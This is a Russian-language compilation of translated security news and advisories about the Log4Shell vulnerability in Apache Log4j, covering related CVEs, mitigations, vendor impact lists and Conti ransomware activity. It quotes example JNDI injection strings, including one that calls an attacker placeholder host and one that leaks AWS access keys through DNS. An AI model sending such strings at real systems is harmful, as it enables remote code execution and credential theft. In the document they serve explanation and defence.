Apache: Критическая уязвимость Apache Log4j эксплуатируется в дикой природе
Резюме
Критическая уязвимость удаленного выполнения кода в популярной библиотеке Apache Foundation Log4j продолжает эксплуатироваться в Интернете, поскольку организации пытаются исправить эту широко распространенную проблему. Если злоумышленник воспользуется этим, он может полностью получить контроль над пораженным сервером. Он может быть использован в конфигурациях по умолчанию неаутентифицированным удаленным злоумышленником для нацеливания на приложения, которые используют библиотеку Log4j. Эта уязвимость, отслеживаемая как CVE-2021-44228, получила максимальный балл по шкале CVSS 10,0, и многие считают, что ее легко использовать.
Точно так же эта библиотека также может использоваться в качестве зависимости множеством веб-приложений, имеющихся в корпоративных средах, включая Elastic. Cisco Talos считает, что из-за природы этой уязвимости она будет широко использоваться злоумышленниками, продвигающимися вперед, и пользователи должны исправлять уязвимые продукты и как можно скорее внедрять решения по смягчению последствий.
Детали уязвимости
Эта уязвимость существует в компоненте JNDI LDAP коннектора, который позволяет злоумышленнику получить полезную нагрузку с удаленного сервера и выполнить ее локально. Уже опубликовано несколько проверок концепции и пошаговых руководств по уязвимостям. Эта уязвимость может быть вызвана для получения и выполнения файла вредоносного класса. Он находится в реализации Java Naming and Directory Interface (JNDI) и может быть запущен с помощью запроса LDAP, как в примере ниже.
POC можно найти здесь.
Утечка информации
CVE-2021-44228 позволяет злоумышленнику создать запрос LDAP, который может извлекать и запускать полезные данные на уязвимом хосте. Эта уязвимость также делает возможной утечку информации, когда злоумышленник может читать и извлекать данные из файлов и переменных среды на уязвимом хосте с помощью запроса LDAP. Такие запросы LDAP могут генерировать DNS-запрос с утечкой конфиденциальной информации для таких приложений, как AWS, Hadoop, Postgres и т. Д.
Пример формата поиска jndi, который генерирует запрос LDAP, приводящий к утечке DNS-запроса значений AWS_ACCESS_KEY_ID и AWS_SECRET_ACCESS_KEY:
(Несколько переменных среды могут быть объединены в один запрос LDAP).
Дополнительные уязвимости
Дополнительная уязвимость CVE-2021-45046 была обнаружена в log4j v2.15.0, что делает его уязвимым для атак в определенных конфигурациях. Log4j версии 2.16.0 устраняет эту уязвимость, отключая доступ к JNDI по умолчанию и ограничивая протоколы по умолчанию Java, LDAP и LDAPS. Пожалуйста, обратитесь к разделу «Смягчающие меры» для получения дополнительной информации.
Совсем недавно было опубликовано CVE-2021-4104, в котором указывается, что в определенных, нестандартных конфигурациях, аналогичная уязвимость может быть активирована в Log4j v1.2. Уязвимым пользователям рекомендуется обновить систему до log4j 2.16.0, чтобы устранить эту уязвимость. Пожалуйста, обратитесь к разделу «Смягчающие меры» для получения дополнительной информации.
Смягчение
Текущее руководство
Несмотря на некоторую путаницу в отношении растущего числа уязвимостей, связанных с исходной уязвимостью безопасности Log4j, наши советы пользователям и защитникам сети остаются прежними. Для самого большого сегмента пользователей JNDI представляет собой ненужный риск, поэтому мы предлагаем отключить эту функцию, чтобы эта поверхность угрозы была недоступна. Поэтому мы рекомендуем выполнить обновление до последней версии Log4j 2.16.0, которая по умолчанию отключает JNDI.
Log4j 2.16.0 - это самый последний патч, выпущенный Apache. Он исправляет CVE-2021-44228 и CVE-2021-45046 следующим образом:
Talos призывает всех клиентов изучить их внутреннее и стороннее использование Log4j на предмет уязвимых конфигураций и принять меры по исправлению положения. Если вы не уверены или не можете определить, уязвима ли ваша реализация, исправьте агрессивно. Учитывая риск сторонних устройств, которые включают Log4j, мы также рекомендуем клиентам и партнерам проводить регулярное сканирование уязвимостей и участвовать в беседах с поставщиками, партнерами и поставщиками для получения дополнительной поддержки по смягчению последствий.
Более раннего патча оказалось недостаточно
До версии 2.16.0 Apache выпускал Log4j версии 2.15.0, которая была признана недостаточной и уязвимой для использования в определенных конфигурациях. Это привело к выпуску CVE-2021-45046 для учета неполного исправления.
На основании открытия, что исходный патч не полностью защитил от эксплуатации, некоторые из ранее рекомендованных мер по снижению риска с тех пор стали недостаточными, в том числе приведенное ниже руководство относительно отключения поиска сообщений:
Установка для системного свойства log4j2.formatMsgNoLookups или переменной среды LOG4J_FORMAT_MSG_NO_LOOKUPS значения true для версий 2.10 и выше.
Изменение конфигурации ведения журнала для отключения поиска сообщений с помощью% m {nolookups},% msg {nolookups} или% message {nolookups} для выпусков, начиная с 2.7 по 2.14.1 включительно.
Несмотря на то, что пользователи реализуют эти изменения, в Log4j все еще есть пути кода, по которым может выполняться поиск сообщений. Известными примерами являются приложения, использующие Logger.printf ("% s", userInput), или приложения, использующие фабрику настраиваемых сообщений, в которых результирующие сообщения не реализуют StringBuilderFormattable. Возможны и другие векторы атак.
Выпущена третья уязвимость; Рекомендации Talos без изменений
14 декабря была выпущена дополнительная уязвимость CVE-2021-4104 для устранения недостатка в другом компоненте Log4j, JMSAppender. Обратите внимание, что эта проблема влияет только на Log4j 1.2, когда он специально настроен для использования JMSAppender, что не по умолчанию, что потенциально снижает беспокойство. По состоянию на август 2015 года срок службы Log4j 1.2 истек, и он больше не получает обновлений.
AppDynamics с приложением Cisco Secure Application, которое интегрировано в агенты AppDynamics Java APM, защищает среды с помощью:
Определение библиотек, используемых кодом во время выполнения.
Обнаружение уязвимостей в этих библиотеках и атак путем мониторинга поведения во время выполнения и
Защита систем с помощью настраиваемых политик для блокировки поведения эксплойтов во время выполнения.
Текущая эксплуатационная деятельность
Самая ранняя наблюдаемая активность
Несмотря на то, что Talos зафиксировал активность злоумышленников, связанных с CVE-2021-44228, начиная со 2 декабря 2021 г., имеются непроверенные отчеты об активности угроз, датируемые еще 1 декабря. Мы настоятельно рекомендуем организациям отложить свой анализ как минимум на несколько недель и расширить усилия по поиску, чтобы проверить активность эксплойтов, которая могла иметь место задолго до этих дат.
+
Критическая уязвимость удаленного выполнения кода в популярной библиотеке Apache Foundation Log4j продолжает эксплуатироваться в Интернете, поскольку организации пытаются исправить эту широко распространенную проблему. Если злоумышленник воспользуется этим, он может полностью получить контроль над пораженным сервером. Он может быть использован в конфигурациях по умолчанию неаутентифицированным удаленным злоумышленником для нацеливания на приложения, которые используют библиотеку Log4j. Эта уязвимость, отслеживаемая как CVE-2021-44228, получила максимальный балл по шкале CVSS 10,0, и многие считают, что ее легко использовать.
Apache Foundation Log4j - это библиотека журналов, предназначенная для замены встроенного пакета log4j. Он часто используется в популярных проектах Java, таких как Apache Struts 2 и Apache Solr.
Точно так же эта библиотека также может использоваться в качестве зависимости множеством веб-приложений, имеющихся в корпоративных средах, включая Elastic. Cisco Talos считает, что из-за природы этой уязвимости она будет широко использоваться злоумышленниками, продвигающимися вперед, и пользователи должны исправлять уязвимые продукты и как можно скорее внедрять решения по смягчению последствий.
Детали уязвимости
Эта уязвимость существует в компоненте JNDI LDAP коннектора, который позволяет злоумышленнику получить полезную нагрузку с удаленного сервера и выполнить ее локально. Уже опубликовано несколько проверок концепции и пошаговых руководств по уязвимостям. Эта уязвимость может быть вызвана для получения и выполнения файла вредоносного класса. Он находится в реализации Java Naming and Directory Interface (JNDI) и может быть запущен с помощью запроса LDAP, как в примере ниже.
$ {jndi: ldap: // attacker_controled_website / payload_to_be_executed}
POC можно найти здесь.
Утечка информации
CVE-2021-44228 позволяет злоумышленнику создать запрос LDAP, который может извлекать и запускать полезные данные на уязвимом хосте. Эта уязвимость также делает возможной утечку информации, когда злоумышленник может читать и извлекать данные из файлов и переменных среды на уязвимом хосте с помощью запроса LDAP. Такие запросы LDAP могут генерировать DNS-запрос с утечкой конфиденциальной информации для таких приложений, как AWS, Hadoop, Postgres и т. Д.
Пример формата поиска jndi, который генерирует запрос LDAP, приводящий к утечке DNS-запроса значений AWS_ACCESS_KEY_ID и AWS_SECRET_ACCESS_KEY:
$ {jndi: ldap: // $ {env: AWS_ACCESS_KEY_ID}. $ {env: AWS_SECRET_ACCESS_KEY}. <домен>}
(Несколько переменных среды могут быть объединены в один запрос LDAP).
Дополнительные уязвимости
Дополнительная уязвимость CVE-2021-45046 была обнаружена в log4j v2.15.0, что делает его уязвимым для атак в определенных конфигурациях. Log4j версии 2.16.0 устраняет эту уязвимость, отключая доступ к JNDI по умолчанию и ограничивая протоколы по умолчанию Java, LDAP и LDAPS. Пожалуйста, обратитесь к разделу «Смягчающие меры» для получения дополнительной информации.
Совсем недавно было опубликовано CVE-2021-4104, в котором указывается, что в определенных, нестандартных конфигурациях, аналогичная уязвимость может быть активирована в Log4j v1.2. Уязвимым пользователям рекомендуется обновить систему до log4j 2.16.0, чтобы устранить эту уязвимость. Пожалуйста, обратитесь к разделу «Смягчающие меры» для получения дополнительной информации.
Смягчение
Текущее руководство
Несмотря на некоторую путаницу в отношении растущего числа уязвимостей, связанных с исходной уязвимостью безопасности Log4j, наши советы пользователям и защитникам сети остаются прежними. Для самого большого сегмента пользователей JNDI представляет собой ненужный риск, поэтому мы предлагаем отключить эту функцию, чтобы эта поверхность угрозы была недоступна. Поэтому мы рекомендуем выполнить обновление до последней версии Log4j 2.16.0, которая по умолчанию отключает JNDI.
Log4j 2.16.0 - это самый последний патч, выпущенный Apache. Он исправляет CVE-2021-44228 и CVE-2021-45046 следующим образом:
Отключение JNDI по умолчанию и ограничение протоколов по умолчанию Java, LDAP и LDAPS.
Требовать, чтобы системному свойству log4j2.enableJndi было присвоено значение true, чтобы разрешить JNDI.
Полное удаление поддержки поиска сообщений.
Talos призывает всех клиентов изучить их внутреннее и стороннее использование Log4j на предмет уязвимых конфигураций и принять меры по исправлению положения. Если вы не уверены или не можете определить, уязвима ли ваша реализация, исправьте агрессивно. Учитывая риск сторонних устройств, которые включают Log4j, мы также рекомендуем клиентам и партнерам проводить регулярное сканирование уязвимостей и участвовать в беседах с поставщиками, партнерами и поставщиками для получения дополнительной поддержки по смягчению последствий.
Более раннего патча оказалось недостаточно
До версии 2.16.0 Apache выпускал Log4j версии 2.15.0, которая была признана недостаточной и уязвимой для использования в определенных конфигурациях. Это привело к выпуску CVE-2021-45046 для учета неполного исправления.
На основании открытия, что исходный патч не полностью защитил от эксплуатации, некоторые из ранее рекомендованных мер по снижению риска с тех пор стали недостаточными, в том числе приведенное ниже руководство относительно отключения поиска сообщений:
Установка для системного свойства log4j2.formatMsgNoLookups или переменной среды LOG4J_FORMAT_MSG_NO_LOOKUPS значения true для версий 2.10 и выше.
Изменение конфигурации ведения журнала для отключения поиска сообщений с помощью% m {nolookups},% msg {nolookups} или% message {nolookups} для выпусков, начиная с 2.7 по 2.14.1 включительно.
Несмотря на то, что пользователи реализуют эти изменения, в Log4j все еще есть пути кода, по которым может выполняться поиск сообщений. Известными примерами являются приложения, использующие Logger.printf ("% s", userInput), или приложения, использующие фабрику настраиваемых сообщений, в которых результирующие сообщения не реализуют StringBuilderFormattable. Возможны и другие векторы атак.
Выпущена третья уязвимость; Рекомендации Talos без изменений
14 декабря была выпущена дополнительная уязвимость CVE-2021-4104 для устранения недостатка в другом компоненте Log4j, JMSAppender. Обратите внимание, что эта проблема влияет только на Log4j 1.2, когда он специально настроен для использования JMSAppender, что не по умолчанию, что потенциально снижает беспокойство. По состоянию на август 2015 года срок службы Log4j 1.2 истек, и он больше не получает обновлений.
В соответствии с нашими рекомендациями выше, мы рекомендовали затронутым пользователям обновить систему до Log4j 2.16.0, чтобы уменьшить эту уязвимость.
AppDynamics с приложением Cisco Secure Application, которое интегрировано в агенты AppDynamics Java APM, защищает среды с помощью:
Определение библиотек, используемых кодом во время выполнения.
Обнаружение уязвимостей в этих библиотеках и атак путем мониторинга поведения во время выполнения и
Защита систем с помощью настраиваемых политик для блокировки поведения эксплойтов во время выполнения.
Текущая эксплуатационная деятельность
Самая ранняя наблюдаемая активность
Несмотря на то, что Talos зафиксировал активность злоумышленников, связанных с CVE-2021-44228, начиная со 2 декабря 2021 г., имеются непроверенные отчеты об активности угроз, датируемые еще 1 декабря. Мы настоятельно рекомендуем организациям отложить свой анализ как минимум на несколько недель и расширить усилия по поиску, чтобы проверить активность эксплойтов, которая могла иметь место задолго до этих дат.
+
Мы ищем точки опоры не с целью перевернуть мир, но чтобы не позволить миру опрокинуть нас.
Войдите или Зарегистрируйтесь чтобы комментировать.
Комментарии
Ниже приведен пример одной из попыток эксплуатации, которые мы наблюдали в дикой природе.
Данные в кодировке Base64 в предыдущем примере отвечают за доставку и выполнение дополнительных вредоносных полезных данных, пример которых показан ниже.
акже важно отметить, что мы наблюдали другие протоколы, используемые для получения вредоносных полезных данных в нашей телеметрии. Имейте в виду, что злоумышленники также могут использовать LDAP (S), RMI, DNS, NIS, IIOP, CORBA, NDS и HTTP.
Во многих случаях после успешной эксплуатации жертвы заражаются вредоносным ПО для майнинга криптовалюты, но мы видели множество других полезных нагрузок, включая ботнет Mirai и другие различные полезные нагрузки.
Этот эксплойт следует схеме, которую мы обычно наблюдаем при обнаружении неожиданно возникающих уязвимостей. Разрозненные ранние инциденты от неизвестных субъектов уже наблюдались с помощью телеметрии и демонстрируют раннее внедрение майнерами монет и ботнетами. Если схема будет верной - а мы ожидаем, что это произойдет - многие участники с различными целями, от финансовых до шпионажа, быстро примут на вооружение этот эксплойт в ближайшие дни, чтобы обеспечить доступ для немедленного использования, перепродажи или долгосрочных плацдармов.
Cisco Talos также отметила временной интервал между массовым сканированием злоумышленников и обратными вызовами из уязвимых систем. Это может указывать на то, что эксплойт запускается, когда он проходит через инфраструктуру затронутого предприятия и обрабатывается внутренними системами (системами сбора журналов, SIEM и т. Д.), Которые могут быть полностью отделены от предполагаемой целевой системы. Уязвимые системы проверки, сбора событий или регистрации на пути связи также могут вызвать эксплойт, который может привести к обратному вызову в инфраструктуру злоумышленника, даже в тех случаях, когда предполагаемая цель не уязвима. Также вероятно, что внутренние уязвимые системы могут стать мишенью для действий после взлома для бокового перемещения внутри затронутого предприятия.
Возникающие обфускации
Мы наблюдали, как при поиске JNDI используются разнообразные обфускации для обхода механизмов обнаружения на основе шаблонов, которые могли быть развернуты.
JNDI позволяет использовать комбинацию методов запутывания, начиная от разделения ключевых слов, имен протоколов и удаленных местоположений до использования символов верхнего и нижнего регистра.
Мы также наблюдали попытки избежать обнаружения с помощью «похожих» символов Юникода, подобных приведенному ниже примеру, где значение «i» было заменено символом Юникода U + 0131:
Дополнительные векторы угроз
Log4j обычно используется в широком спектре программного обеспечения, работающего в системах, в дополнение к традиционным веб-серверам, а это означает, что очень важно не исключать другие векторы использования. Сюда входят устройства, проверяющие различные типы связи между злоумышленником и системой жертвы, что может привести к компрометации. По мере того, как защитники используют средства защиты и по мере развития ситуации, противники будут искать новые и ранее ненаблюдаемые векторы атак. В этом разделе мы обсудим некоторые из векторов, которыми, как мы видели, злоупотребляли.
Cisco Talos наблюдала использование угроз на основе электронной почты, пытающихся использовать CVE-2021-44228. Сообщения также могут содержать вредоносные поисковые запросы JNDI в разных местах, таких как заголовки, строки темы и тела электронных писем.
Хотя мы видели попытки поместить строку атаки JNDI в электронную почту, на данный момент мы не выявили широко распространенных почтовых кампаний, в которых пытались использовать сообщения электронной почты для активации уязвимости. Потенциально это разведка, поскольку многие злоумышленники и исследователи, по сути, пробуют все в попытке найти что-то, что в конечном итоге попадает в log4j.
Мы также наблюдали множество других мест, используемых для встраивания поисков JNDI, пытающихся использовать эту уязвимость, например:
Поиск JNDI встроен в реляционный шаблон, используемый документами на основе Open Office.
Мы также наблюдали, как злоумышленники встраивают поиск JNDI в веб-страницы HTML. Веб-сайты, которые мы проанализировали, вероятно, были взломаны через обычно уязвимые платформы CMS. В приведенном ниже примере строка поиска JNDI была встроена в скрытое поле формы, присутствующее на веб-сайте, и может не отображаться, когда жертва просматривает затронутую страницу. Мы наблюдали несколько методов, используемых для встраивания контента в различные веб-страницы, такие как изменение целевого URL-адреса в существующей гиперссылке на адрес, содержащий эксплойт.
Кроме того, мы наблюдали попытки выполнить вредоносный класс Java, который вызывает PowerShell и пытается выполнить перечисление среды с помощью ADSISearcher для запроса информации о среде домена, в которой находится жертва. Собранная информация затем пересылается через исходящее HTTP-соединение на сервер, контролируемый злоумышленником. Это действие соответствует тому, что обычно выполняется перед развертыванием программ-вымогателей.
Это демонстрирует различные подходы, которые сейчас используют злоумышленники, пытаясь найти способы принудительного ввода вредоносных данных в различные уязвимые приложения, которые могут существовать в целевых средах. Мы, вероятно, продолжим видеть новые методы, используемые для этой цели, в будущем.
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
В список затронутых уязвимостью компаний, помимо прочих, входят: Apple, Tencent, Twitter, Baidu, Steam, Minecraft, Cloudflare, Amazon, Tesla, Palo Alto Networks, IBM, Pulse Secure, Ghidra, ElasticSearch, Apache, Google, Webex, LinkedIn, Cisco и VMware. Полный список (регулярно обновляется) доступен здесь .
Компания VMware выпустила уведомление безопасности, в котором предупредила пользователей о том, что большинство ее продуктов являются уязвимыми, и уже были зафиксированы попытки эксплуатации. В настоящее время она работает над выпуском патчей.
Cisco оценивает влияние Log4Shell на свои продукты и уже подтвердила, что многие из них уязвимы.
Компания Huntress выпустила инструмент, позволяющий организациям проверять свои приложения на наличие в них уязвимости CVE-2021-44228. По ее данным, поставщики управляемых сервисов, такие как Auvik, ConnectWise и N-able, также подтвердили наличие уязвимости.
Подробнее: https://www.securitylab.ru/news/527445.php
**********
Что такое Apache Log4J и почему эта библиотека так распространена?
Apache Log4j — это часть проекта Apache Logging Project, библиотека, которая служит для ведения логов. По большому счету, ее применение является одним из самых простых способов ведения журнала ошибок, поэтому большинство Java-разработчиках применяют именно ее.
Библиотека используется в разработках многих крупнейших производителей ПО, в том числе Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla и Twitter. Из-за настолько широкой распространенности библиотеки, исследователи ожидают увеличение количества атак на уязвимые серверы в течении следующих нескольких дней.
https://www.kaspersky.ru/blog/log4shell-critical-vulnerability-in-apache-log4j/32080/
Новости о критической уязвимости в библиотеке журналов Apache Log4j появились на прошлой неделе, когда в четверг начали появляться экспериментальные эксплойты.
Log4j - это среда ведения журналов Java с открытым исходным кодом, часть служб ведения журналов Apache, используемая на уровне предприятия в различных приложениях от поставщиков со всего мира.
Apache выпустил Log4j 2.15.0 для устранения уязвимости максимальной степени серьезности, которая в настоящее время отслеживается как CVE-2021-44228, также называемая Log4Shell.
Группа облачной безопасности Alibaba сообщила об уязвимости Log4Shell 24 ноября, и неясно, как некоторые злоумышленники смогли воспользоваться ею в столь короткие сроки.
Log4Shell - это внедрение Java Naming and Directory Interface (JNDI), которое позволяет выполнять удаленный код без аутентификации. Злоумышленники могут использовать его, изменив пользовательский агент в своем браузере на строку в следующем формате:
Строка останется в журналах веб-сервера жертвы и вызовет обратный вызов или запрос URL-адреса злоумышленника, когда библиотека Log4j проанализирует ее. Злоумышленники могут использовать строку для передачи закодированных команд или классов Java уязвимой машине.
Учитывая серьезность уязвимости и то, насколько легко ее использовать, CISA сегодня выпустила руководство для компаний по настройке защиты от атак Log4Shell. Агентство рекомендует «немедленно применить доступные исправления» и сделать этот процесс приоритетным.
«Сделайте ставку на исправление, начиная с критически важных систем, систем с выходом в Интернет и сетевых серверов. Затем сделайте ставку на исправление других затронутых информационных технологий и активов операционных технологий» - CISA
Если установка исправлений невозможна, агентство рекомендует следующее изменение:
Установите для значение true, добавив строку в команду виртуальной машины Java для запуска приложения.
Это связано с предупреждением о том, что системное ведение журнала может быть затронуто, если оно использует поисковые запросы для форматирования сообщений. Также защита работает только для версий 2.10 и новее.
Сразу после того, как стали известны подробности о Log4Shell, поставщики начали выяснять, не затронуты ли их продукты, и предоставили информацию о результатах:
Adobe:
Adobe определила, что ColdFusion 2021 уязвима для Log4Shell, и устранила угрозу безопасности в обновлении, выпущенном 14 декабря. Доступен обходной путь, если исправление невозможно сразу.
Broadcom:
Компания опубликовала статьи по смягчению последствий и статьи из базы знаний для нескольких продуктов Symantec, затронутых уязвимостью Log4j. К ним относятся CA Advanced Authentication, Symantec SiteMinder (CA Single Sign-on), VIP Authentication Hub и Symantec Endpoint Protection Manager (SEPM).
Cisco:
Cisco опубликовала список своих продуктов, на которые влияет Log4Shell, а также календарь исправлений некоторых из них, начиная с 14 декабря.
Citrix:
Хотя расследование еще продолжается и статус некоторых продуктов может измениться, Citrix не указала ни один из своих продуктов как уязвимых для Log4Shell.
Debian:
Исправленный пакет Log4j был добавлен в Debian 9 (Stretch), 10 (Buster), 11 (Bullseye) и 12 (Bookworm) в качестве обновления безопасности, говорится в сообщении.
Докер:
Было обнаружено, что дюжина официальных образов Docker использует уязвимую версию библиотеки Log4j. В список входят couchbase, elasticsearch, logstash, sonarqube и solr.
Docker сообщает, что он «находится в процессе обновления Log4j 2 в этих образах до последней доступной версии» и что образы могут быть неуязвимы по другим причинам.
FortiGuard:
В сообщении компании указано, что почти дюжина ее продуктов является уязвимой, а для четырех из них уже развернуты исправления или меры по снижению риска.
FortiGuard объявила, что в этом уведомлении будут указаны даты применения исправлений для других продуктов, таких как FortiSIEM, FortiInsight, FortiMonitor, FortiPortal, FortiPolicy и ShieldX.
F-Secure:
Log4Shell влияет на версии нескольких продуктов F-Secure как для Windows, так и для Linux: Policy Manager (только серверный компонент Policy Manager), Policy Manager Proxy, Endpoint Proxy и Elements Connector.
Компания создала исправление безопасности для администраторов, чтобы исправить проблему, и предоставила пошаговые инструкции по его развертыванию.
Ghidra:
Инструмент обратного проектирования с открытым исходным кодом от NSA получил обновление до версии 10.1, которое также обновляет зависимость Log4j до неуязвимой итерации.
IBM:
Рекомендации IBM для Log4Shell показывают, что только WebSphere Application Server версий 9.0 и 8.5 были затронуты уязвимостью через Admin Console и компоненты UDDI Registry Application, и что проблема устранена.
Juniper Networks:
Сетевая компания сообщила, что затронуты четыре ее продукта: Paragon Active Assurance, Paragon Insights, Paragon Pathfinder и Paragon Planner.
Пока оценка продолжается, на данном этапе могут быть затронуты еще шесть продуктов: JSA Series, Junos Space Management Applications, Junos Space Network Management Platform, Network Director, Secure Analytics и Security Director (не Security Director Insights)
McAfee:
Компания еще не завершила оценку и имеет 12 продуктов, находящихся на рассмотрении, и будет обновлять рекомендации, добавляя соответствующую информацию по мере ее поступления.
MongoDB:
Только MongoDB Atlas Search нужно было пропатчить против Log4Shell, как отмечается в сообщении компании, обновленном сегодня.
Разработчик добавляет, что не обнаружил никаких доказательств эксплуатации или индикаторов компрометации до развертывания исправления.
Oracle:
Oracle заявила, что «ряд» ее продуктов, не раскрывая, какие и сколько, используют уязвимую версию компонента Log4j.
Компания направила своих клиентов к My Oracle Support Document и выпустила предупреждение системы безопасности с настоятельной рекомендацией применить предоставленные обновления «как можно скорее».
Red Hat:
Компоненты в нескольких продуктах Red Hat подвержены влиянию Log4Shell, организация сообщила в пятницу, что настоятельно рекомендует клиентам применять обновления, как только они станут доступны.
Среди продуктов, перечисленных в рекомендациях, - Red Hat OpenShift 4 и 3.11, OpenShift Logging, OpenStack Platform 13, CodeReady Studio 12, Data Grid 8 и Red Hat Fuse 7.
SolarWinds:
Два продукта компании используют уязвимую версию Apache Log4j: Server & Application Monitor (SAM) и Database Performance Analyzer (DPA).
Однако оба продукта используют версию Java Development Kit (JDK), которая либо не подвержена уязвимости Logj4, либо снижает риск.
SonicWall:
Продолжающееся расследование показало, что SonicWall Email Security версии 10.x подвержен уязвимости Log4Shell. Исправление находится в разработке и должно быть выпущено «в ближайшее время».
Пять других продуктов от SonicWall все еще находятся на рассмотрении, а остальные не затронуты проблемой, согласно сообщению компании, которое было обновлено в последний раз в субботу.
Sophos:
Компания обнаружила, что Sophos Mobile EAS Proxy уязвима, и рекомендует клиентам загрузить версию 9.72 для решения этой проблемы.
Sophos Email и Cloud Optix были исправлены до того, как злоумышленник попытается использовать уязвимость.
TrendMicro:
Большинство продуктов не подвержены уязвимости Log4Shell. Исправлено небольшое количество затронутых сервисов: Vision One, Trend Micro Email Security & HES, TippingPoint Threat Management Center (TMC), Sandbox as a Service и Cloud App Security.
VMware:
VMware устранила несколько своих продуктов, уязвимых для атак Log4Shell, и в настоящее время работает над выпуском исправлений для еще 27 продуктов.
https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/
Программа-вымогатель Conti использует критически важный эксплойт Log4Shell для получения быстрого доступа к внутренним экземплярам VMware vCenter Server и шифрования виртуальных машин.
Кибергруппа не стала тратить много времени на внедрение нового вектора атаки и является первой «высокоуровневой» операцией, которая, как известно, использовала уязвимость Log4j в качестве инструмента атаки.
Уязвимый vCenter в прицеле
Эксплойт для проверки концепции (PoC) для CVE-2021-44228, также известный как Log4Shell, появился в открытом доступе 9 декабря.
Днем позже началось массовое сканирование Интернета, когда несколько участников искали уязвимые системы. Среди первых, кто воспользовался этой ошибкой, были майнеры криптовалюты, ботнеты и новый штамм вымогателей под названием Khonsari.
К 15 декабря список злоумышленников, использующих Log4Shell, расширился до кибергрупп и брокеров первичного доступа, которые обычно продают доступ к сети операторам ransomware.
Conti, одна из крупнейших кибергрупп на сегодняшний день, проявила интерес к Log4Shell на раннем этапе, рассматривая его как возможное средство атаки в воскресенье, 12 декабря.
На следующий день кибергруппа приступила к поиску новых жертв, их целью было горизонтальное проникновение в сети VMware vCenter
Десятки поставщиков пострадали от Log4Shell и поспешили исправить свои продукты или предоставить клиентам обходные пути и меры по их устранению. VMware - одна из них, которая перечисляет 40 уязвимых продуктов.
Несмотря на то, что компания предоставила средства защиты или исправления, исправление для затронутых версий vCenter еще не появилось.
Серверы vCenter обычно не доступны в общедоступном Интернете, есть сценарии, в которых злоумышленник может воспользоваться этой проблемой:
Log4Shell для бокового перемещения
В отчете, предоставленном BleepingComputer, компания отмечает, что «впервые эта уязвимость попала в поле зрения крупной кибергруппы ransomware».
«Текущая эксплуатация привела к множеству вариантов использования, с помощью которых группа Conti проверила возможности использования эксплойта Log4J» - AdvIntel
В то время как большинство защитников сосредоточены на блокировании атак Log4Shell на устройства, доступные в Интернете, операция Conti показывает, как уязвимость может быть использована для нацеливания на внутренние устройства, которым не уделяется столько внимания.
https://www.bleepingcomputer.com/news/security/conti-ransomware-uses-log4j-bug-to-hack-vmware-vcenter-servers/
До сих пор уязвимость log4j, отслеживаемая как CVE-2021-44228, использовалась всеми видами злоумышленников для внедрения майнеров Monero в уязвимые системы.
Log4j широко используется во многих программных продуктах, и с тех пор появилось множество рекомендаций от поставщиков. И, как теперь кажется, «логбэк» тоже не так уж и защищен.
Ниже мы суммируем несколько значимых CVE, выявленных на данный момент, и довольно веские причины отказаться от log4j версии 2.15.0 в пользу 2.16.0.
О чем мне следует беспокоиться обо всех CVE?
Все началось в прошлый четверг, 9 декабря, когда PoC-эксплойт для критического нулевого дня Log4j поразил GitHub.
За этим последовало раскрытие уязвимостей и массовое сканирование злоумышленников, нацеленных на уязвимые серверы.
Учитывая широкое использование Log4j в большинстве приложений Java, Log4Shell вскоре превратился в кошмар для предприятий и правительств во всем мире.
Ниже приведены CVE в том порядке, в котором они возникли, о котором вам следует знать:
CVE-2021-44228 [Critical]: исходная уязвимость Log4Shell представляет собой ненадежную ошибку десериализации. Этот критический по степени серьезности получает 10 баллов по шкале CVSS и предоставляет возможности удаленного выполнения кода (RCE) неаутентифицированным злоумышленникам, позволяя полностью захватить систему.
Как сообщил Apache 24 ноября Чен Чжаоцзюнь из Alibaba Cloud Security Team, CVE-2021-44228 влияет на стандартные конфигурации нескольких фреймворков Apache, включая Apache Struts2, Apache Solr, Apache Druid, Apache Flink и другие.
Будучи самой опасной из всех, эта уязвимость скрывается в компоненте log4j-core, ограниченном версиями 2.x: от 2.0-beta9 до 2.14.1 включительно. Исправление для Log4Shell было выпущено в версии 2.15.0, но оно признано неполным (продолжайте читать).
CVE-2021-45046 [критический, ранее низкий]: это ошибка отказа в обслуживании (DoS) с оценкой 3,7 9,0. Ошибка возникла в результате неполного исправления, которое вошло в 2.15.0 для CVE-2021-44228. Хотя исправление, примененное к 2.15.0, в значительной степени устранило недостаток, это не совсем так для некоторых нестандартных конфигураций.
Log4j 2.15.0 делает "максимальную попытку" по умолчанию ограничить поиск JNDI LDAP локальным хостом. Но злоумышленники, которые контролируют входные данные Thread Context Map (MDC), могут создавать вредоносные полезные данные с помощью шаблонов поиска JNDI, чтобы вызвать DoS-атаку. Это применимо к конфигурациям не по умолчанию, в которых макет шаблона не по умолчанию, использующий поиск контекста, например $$ {ctx: loginId} или шаблон карты контекста потока (% X,% mdc или% MDC).
«Log4j 2.16.0 устраняет эту проблему, удаляя поддержку шаблонов поиска сообщений и отключая функциональность JNDI по умолчанию», - говорится в сообщении NVD. Для тех, кто находится в ветке 2.12.1, исправление было перенесено в 2.12.2.
CVE-2021-4104 [высокий]: мы говорили, что версии Log4j 2.x уязвимы? А как насчет Log4j 1.x?
Хотя раньше Log4Shell считался безопасным, он нашел способ скрыться и в более старом Log4j. По сути, нестандартная конфигурация экземпляров Log4j 1.x, использующая класс JMSAppender, также становится уязвимой для уязвимости ненадежной десериализации.
Хотя это менее серьезный вариант CVE-2021-44228, тем не менее, эта CVE влияет на все версии компонентов log4j: log4j и org.apache.log4j: log4j, для которых существуют только выпуски 1.x. Поскольку это версии с истекшим сроком эксплуатации, исправления для ветки 1.x нигде не существует, и следует перейти на log4j-core 2.16.0.
CVE-2021-42550 [средний]: это уязвимость в структуре ведения журнала Logback. Преемник библиотеки Log4j 1.x, Logback утверждает, что берет «там, где заканчивается log4j 1.x».
Вплоть до прошлой недели Logback также хвастался, что, будучи «не связанным с log4j 2.x, [logback] не имеет своих уязвимостей».
Это предположение быстро исчезло, когда было обнаружено, что CVE-2021-4104 также влияет на Log4j 1.x, и была оценена возможность потенциального воздействия на Logback. Теперь были выпущены более новые версии Logback, 1.3.0-alpha11 и 1.2.9, устраняющие эту менее серьезную уязвимость.
Ditch Log4j 2.15: возможна утечка DNS и RCE
Из-за CVE-2021-45046, описанного выше, максимальное воздействие от уязвимости первоначально казалось DoS, но это предположение развивается.
